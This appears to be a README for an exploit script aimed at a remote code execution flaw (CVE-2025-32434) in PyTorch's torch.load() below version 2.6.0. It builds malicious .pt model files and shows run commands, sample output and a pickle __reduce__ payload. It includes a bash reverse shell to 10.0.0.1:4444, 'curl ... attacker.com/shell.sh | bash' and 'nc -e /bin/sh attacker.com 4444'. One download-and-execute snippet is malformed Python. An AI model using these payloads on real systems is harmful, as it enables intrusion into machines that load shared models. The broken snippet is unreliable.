
A script for exploiting a vulnerability in PyTorch with subsequent RCE in library versions < 2.6.0
This exploit demonstrates a critical remote code execution vulnerability (CVE-2025-32434) in PyTorch versions < 2.6.0. The flaw exists in the torch.load() function even when using weights_only=True, which is supposed to prevent arbitrary code execution during model deserialization.
The vulnerability occurs because the _weights_only_unpickler implementation fails to properly restrict deserialization, allowing attackers to craft malicious .pt model files that execute arbitrary system commands when loaded by vulnerable PyTorch installations.
# Basic usage - creates model that touches /tmp/pwned
python3 exploit.py
# Execute custom command
python3 exploit.py -c "id > /tmp/whoami"
# Test the exploit (loads the model to verify RCE)
python3 exploit.py -c "id" -t
# Advanced exploit variant with alternative bypass
python3 exploit.py --advanced -c "curl -s http://attacker.com/shell.sh | bash" -t
# Save to custom filename
python3 exploit.py -f evil_model.pt -c "nc -e /bin/sh attacker.com 4444"
Output example:
=== CVE-2025-32434 PyTorch RCE Exploit ===
[*] Creating malicious PyTorch model...
[+] Malicious model saved as 'malicious_model.pt'
[+] Will execute command: touch /tmp/pwned
[+] Created malicious model: malicious_model.pt
[*] Testing exploit...
[+] PyTorch version: 2.5.1+cu121
[+] Version is vulnerable to CVE-2025-32434
[*] Loading malicious model with weights_only=True...
[*] This should be safe, but due to CVE-2025-32434 it's not!
[+] Model loaded successfully
Edit the reduce() methods in create_malicious_model() or create_advanced_exploit():
# Example: Reverse shell payload
class ExploitPayload:
def __reduce__(self):
return (eval, ("__import__('os').system('bash -i >& /dev/tcp/10.0.0.1/4444 0>&1')",))
# Example: File download + execute
return (eval, ("__import__('urllib.request').urlopen('http://attacker.com/payload.sh').read().decode().strip() | __import__('os').system",))
Check Target Vulnerability
import torch
print(f"PyTorch: {torch.__version__}")
# Vulnerable if < 2.6.0